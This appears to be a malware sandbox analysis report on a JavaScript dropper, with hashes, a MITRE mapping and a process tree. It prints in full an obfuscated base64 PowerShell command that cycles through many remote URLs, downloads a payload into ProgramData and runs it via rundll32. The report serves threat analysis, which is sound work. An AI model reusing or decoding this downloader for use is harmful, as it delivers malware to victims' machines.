e43fce049074b91782ec0c826b7ce89402dfed3053e23b15d8472264b63ebbc8

Reason

Machine shutdown

General

Target

UnROZ8OzWeXQ8.js
Size

333KB
MD5

f9807c72ccd670f2146838b208e127a0
SHA1

992f7a83fe2c2fe108668bea066dae52102a1a02
SHA256

e43fce049074b91782ec0c826b7ce89402dfed3053e23b15d8472264b63ebbc8
SHA512

46e1a5832d8f9d6195a080ba6e9a28ea7645b903040abbba9e02e66e29ac81307f45a4383fc21168d1b5c9b5400be72f10644300fab38401a0ad5bbab0ff8b26
SSDEEP

6144:bSfr0dh2tgcH6YTkM0cNRcpZwg/EBQ+8N/ygD1pRbKe4b3gNj4mdDhS:bSfrSh2tgcH6YTkMXRcpZwg/QQ+I/ygG

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2024 wrote to memory of 1852	2024	wscript.exe	28
PID 2024 wrote to memory of 1852	2024	wscript.exe	28
PID 2024 wrote to memory of 1852	2024	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\UnROZ8OzWeXQ8.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2024
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABpAG4AdABlAHIAYwBvAG4AZABlAG4AcwBlAHIAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAEkAQQBNAHcAQQB1AEEARABFAEEATgBRAEEAMwBBAEMANABBAE0AZwBBAHcAQQBEAGMAQQBMAGcAQQAyAEEARABJAEEAIgA7ACQAUwBtAG8AbwBjAGgAcwBTAHkAbgB0AGUAbABvAG0AZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE0AQQBBAHUAQQBEAEUAQQBNAFEAQQAwAEEAQwA0AEEATwBRAEEAeABBAEMANABBAE4AQQBBADUAQQBBAD0APQAiADsAJABQAGwAYQBjAGMAYQB0AGUAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAEQAQQBHAEUAQQBjAHcAQgAxAEEASABNAEEAYQBRAEIAegBBAEgAUQBBAGMAZwBCADUAQQBFAFUAQQBiAGcAQgAwAEEARwBnAEEAYwBnAEIAaABBAEcAdwBBAGIAQQBCAHoAQQBDADQAQQBlAEEAQgA0AEEASABnAEEAagBnAG8ASABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBOAHcAQQB1AEEARABJAEEATQBRAEEAMgBBAEMANABBAE0AZwBBADEAQQBEAEkAQQBMAGcAQQB4AEEARABJAEEATwBRAEEAPQBqAGcAbwBIAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGIAZwBCAGwAQQBIAFUAQQBjAGcAQgA1AEEASABNAEEAYgBRAEIAaABBAEgAUQBBAGEAUQBCAGoAQQBFAFEAQQBZAFEAQgB3AEEARwBnAEEAYgBnAEIAdgBBAEcAawBBAFoAQQBBAHUAQQBHAFkAQQBkAFEAQgB1AEEAQQA9AD0AIgA7ACQAZQBsAGUAYwB0AHIAbwBhAG4AYQBsAHkAdABpAGMAYQBsAE4AbwB2AGUAbAByAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAHcAQQBiAHcAQgBqAEEARwBFAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAHUAQQBIAFkAQQBiAHcAQgAwAEEARwBVAEEATAB3AEIAMgBBAEcANABBAFIAQQBCAGEAQQBIAGsAQQBMAHcAQgBtAEEARQBzAEEAYwBRAEEANABBAEcASQBBAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQB3AEEAMQBBAEMANABBAE0AUQBBADMAQQBEAGsAQQBMAGcAQQAwAEEARABFAEEATABnAEEAeQBBAEQARQBBAE8AUQBBAHYAQQBEAFEAQQBPAFEAQgBRAEEARABJAEEATAB3AEIAVQBBAEUAUQBBAGIAUQBCAGkAQQBBAD0APQBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEkAQQBOAFEAQQB3AEEAQwA0AEEATQBRAEEAeABBAEQASQBBAEwAZwBBAHgAQQBEAFEAQQBPAEEAQQB2AEEARQBFAEEATAB3AEIATgBBAEQAWQBBAFcAUQBCAFoAQQBEAGcAQQBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE0AUQBBAHkAQQBDADQAQQBNAGcAQQB4AEEARABjAEEATABnAEEANQBBAEQARQBBAEwAZwBBAHgAQQBEAGsAQQBPAEEAQQB2AEEARwB3AEEAYwBBAEEAdgBBAEUATQBBAFMAUQBCAHQAQQBBAD0APQBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE0AdwBBAHUAQQBEAFUAQQBOAEEAQQB1AEEARABFAEEATQBRAEEANABBAEMANABBAE4AQQBBADAAQQBDADgAQQBaAGcAQQB3AEEARQBvAEEAWgB3AEEAdgBBAEcAbwBBAFkAZwBCAEIAQQBBAD0APQBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBRAEEAMwBBAEMANABBAE4AZwBBADUAQQBDADgAQQBOAHcAQgA0AEEASABZAEEAYgBnAEIAbwBBAEQARQBBAFcAUQBBAHYAQQBFAGcAQQBPAFEAQgA2AEEARwAwAEEAYQB3AEIASwBBAEYAawBBAE4AUQBCAFcAQQBHADAAQQBXAEEAQgBWAEEAQQA9AD0AWgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AUQBBADMAQQBDADQAQQBOAHcAQQB3AEEAQwA4AEEAWQB3AEIARQBBAEYATQBBAGQAUQBCAEgAQQBHAEkAQQBMAHcAQgAyAEEARwBFAEEAYQBnAEIAWQBBAEQAVQBBAFoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABrAEEATQBnAEEAdQBBAEQARQBBAE0AZwBBAHgAQQBDADQAQQBNAFEAQQAzAEEAQwA0AEEATQBRAEEAMABBAEMAOABBAE8AQQBCAEMAQQBIAG8AQQBMAHcAQgBrAEEARgBJAEEAVwBnAEIARABBAEQAYwBBAFoAQQBCAEkAQQBEAEEAQQAiADsAJABIAGEAaQBuAGEAbgBlAHMAZQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQASQBBAE8AQQBBAHUAQQBEAEUAQQBPAFEAQQA0AEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBADUAQQBEAEUAQQBpAGUAVwBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcAMABBAFoAUQBCAHoAQQBHADgAQQBkAEEAQgBvAEEARwBVAEEAYgBBAEIAcABBAEcARQBBAFEAZwBCAHAAQQBHAGMAQQBZAFEAQgB0AEEARwBrAEEAWgBRAEIAegBBAEMANABBAGMAdwBCAHAAQQBIAFEAQQBaAFEAQQA9AGkAZQBXAFYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATwBBAEEAdQBBAEQARQBBAE0AdwBBAHoAQQBDADQAQQBNAFEAQQA0AEEARABFAEEATABnAEEAeQBBAEQAVQBBAE4AQQBBAD0AIgA7ACQATABpAG0AdQBsAGkAZABhAGUASABlAGwAdgBlAHQAaQBhAG4AIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHADAAQQBiAHcAQgBvAEEARwBFAEEAYgBRAEIAdABBAEcAVQBBAFoAQQBCAGgAQQBHADQAQQBRAGcAQgB2AEEASABNAEEAYwB3AEIAegBBAEcAZwBBAGEAUQBCAHcAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AEgAawBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAEkAQQBiAEEAQgBoAEEARwBNAEEAYQB3AEIAaQBBAEcARQBBAGIAQQBCAHMAQQBDADQAQQBaAFEAQgAxAEEAQQA9AD0ASABrAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMQBBAEQAWQBBAEwAZwBBAHkAQQBEAEEAQQBNAGcAQQB1AEEARABFAEEATQB3AEEAMABBAEMANABBAE4AZwBBADMAQQBBAD0APQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABQAGgAYQByAG0AYQBjAGUAdQB0AGkAcwB0ACAAaQBuACAAJABlAGwAZQBjAHQAcgBvAGEAbgBhAGwAeQB0AGkAYwBhAGwATgBvAHYAZQBsAHIAeQAgAC0AcwBwAGwAaQB0ACAAIgBaACIAKQAgAHsAdAByAHkAIAB7ACQATQBvAG4AbwBoAHkAZAByAG8AeAB5AEYAaQBiAGQAbwBtACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBvAEEAWQBRAEIAeQBBAEgATQBBAFoAZwBCADEAQQBHAHcAQQBMAGcAQgB0AEEARwA4AEEAYgBRAEEAPQBrAFkAWQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAcABBAEcANABBAFkAdwBCAHAAQQBIAEEAQQBhAFEAQgBsAEEARwA0AEEAWQB3AEIAbABBAEMANABBAFkAUQBCAHQAQQBBAD0APQBrAFkAWQBiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAaABBAEgATQBBAFkAUQBCAHkAQQBIAFEAQQBZAFEAQgBVAEEARwA4AEEAWQBRAEIAawBBAEgAawBBAGEAUQBCAHoAQQBHADAAQQBjAHcAQQB1AEEASABJAEEAWgBRAEIAdwBBAEcAOABBAGMAZwBCADAAQQBBAD0APQAiADsAJABwAGUAbABsAGEAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE0AUQBBADQAQQBDADQAQQBPAEEAQQAwAEEAQwA0AEEATgBRAEEAeQBBAEMANABBAE0AUQBBAHcAQQBEAEkAQQAiADsAJABjAHIAbwB6AGUAcgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABQAGgAYQByAG0AYQBjAGUAdQB0AGkAcwB0ACkAKQA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAYwByAG8AegBlAHIAIAAtAE8AIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAdABlAG4AcwBlAGcAcgBpAHQAeQBEAGUAYQBkAGkAcwBoAG4AZQBzAHMALgBVAG4AZABlAHIAbABlAHQAdABlAHIAOwAkAFMAYwB1AHQAaQBiAHIAYQBuAGMAaABVAG4AdgBpAG4AZABpAGMAdABpAHYAZQBsAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQB6AEEAQwA0AEEATQBRAEEAeQBBAEQAYwBBAEwAZwBBADAAQQBEAEEAQQBMAGcAQQA0AEEARABBAEEAZQB4AEIASQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAEkAQQBZAFEAQgB5AEEASABJAEEAWQBRAEIAbgBBAEcAOABBAGIAZwBBAHUAQQBIAE0AQQBhAEEAQgB2AEEASABBAEEAIgA7ACQARgBvAHIAZwBhAHQAaABlAHIAaQBuAGcAVwBlAGwAbAB5AGEAcgBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABJAEEATQBRAEEAMwBBAEMANABBAE0AZwBBAHoAQQBEAE0AQQBMAGcAQQB5AEEARABBAEEATQBRAEEAdQBBAEQAawBBAE4AQQBBAD0AdgB2AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE4AdwBBAHUAQQBEAEkAQQBNAEEAQQAxAEEAQwA0AEEATQBRAEEAeABBAEQAawBBAEwAZwBBAHkAQQBEAEEAQQBOAEEAQQA9ACIAOwAkAEEAcwBzAGkAbQBpAGwAYQB0AGkAdgBlAEEAcABwAHIAaQB6AGUAbQBlAG4AdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVQBBAEcAZwBBAFkAUQBCAHMAQQBHAEUAQQBjAHcAQgB6AEEARwBrAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCADAAQQBHAFUAQQBWAEEAQgBoAEEARwA0AEEAWQB3AEIAbABBAEcAdwBBAEwAZwBCAG8AQQBIAFUAQQBDAE4AeQBzAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAVQBBAGIAZwBCAHAAQQBIAEkAQQBjAGcAQgBwAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBVAEEAZABnAEIAMQBBAEcAdwBBAFoAUQBCAGoAQQBIAFEAQQBiAHcAQgB0AEEASABrAEEATABnAEIAcABBAEcAMABBAGIAUQBCAHYAQQBBAD0APQAiADsAaQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgAEMAOgBcAFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAXAB0AGUAbgBzAGUAZwByAGkAdAB5AEQAZQBhAGQAaQBzAGgAbgBlAHMAcwAuAFUAbgBkAGUAcgBsAGUAdAB0AGUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIANQAzADUAMgA3ACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEAUQB3AEEANgBBAEYAdwBBAFUAQQBCAHkAQQBHADgAQQBaAHcAQgB5AEEARwBFAEEAYgBRAEIARQBBAEcARQBBAGQAQQBCAGgAQQBGAHcAQQBkAEEAQgBsAEEARwA0AEEAYwB3AEIAbABBAEcAYwBBAGMAZwBCAHAAQQBIAFEAQQBlAFEAQgBFAEEARwBVAEEAWQBRAEIAawBBAEcAawBBAGMAdwBCAG8AQQBHADQAQQBaAFEAQgB6AEEASABNAEEATABnAEIAVgBBAEcANABBAFoAQQBCAGwAQQBIAEkAQQBiAEEAQgBsAEEASABRAEEAZABBAEIAbABBAEgASQBBAEwAQQBCAHQAQQBIAFUAQQBjAHcAQgAwAEEARABzAEEAIgA7ACQAQQBtAGkAbgBvAGEAYwBlAHQAbwBwAGgAZQBuAG8AbgBlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABNAEEATQBRAEEAdQBBAEQARQBBAE4AQQBBADUAQQBDADQAQQBOAHcAQQAyAEEAQwA0AEEATwBBAEEAdwBBAEEAPQA9AG4AZgBVAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAQQBBAGIAdwBCAHkAQQBIAFEAQQBiAFEAQgBoAEEARwA0AEEAYgBRAEIAdgBBAEgAUQBBAFoAUQBCAE0AQQBHAFUAQQBkAFEAQgBqAEEARwBrAEEAWQB3AEIAbwBBAEgAUQBBAGEAQQBCADUAQQBIAE0AQQBMAGcAQgB5AEEARwBFAEEAWQB3AEIAcABBAEcANABBAFoAdwBBAD0AbgBmAFUAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgByAEEARwA4AEEAYQBRAEIAaQBBAEcARQBBAGIAQQBCAFYAQQBHADQAQQBjAGcAQgBsAEEASABNAEEAWgBRAEIAdQBBAEgAUQBBAGEAUQBCAHUAQQBHAGMAQQBMAGcAQgB6AEEARwBNAEEAYgB3AEIAMABBAEEAPQA9AG4AZgBVAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbwBBAEcARQBBAGIAUQBCAHMAQQBHAGsAQQBiAGcAQgBwAEEASABRAEEAWgBRAEIASgBBAEcANABBAGQAQQBCAGwAQQBIAEkAQQBZAGcAQgB5AEEARwA4AEEAYgB3AEIAawBBAEMANABBAFkAdwBCAHYAQQBIAFUAQQBjAEEAQgB2AEEARwA0AEEAYwB3AEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewB9AH0A"
  2⤵
  PID:1852

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

Loading Replay Monitor...

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads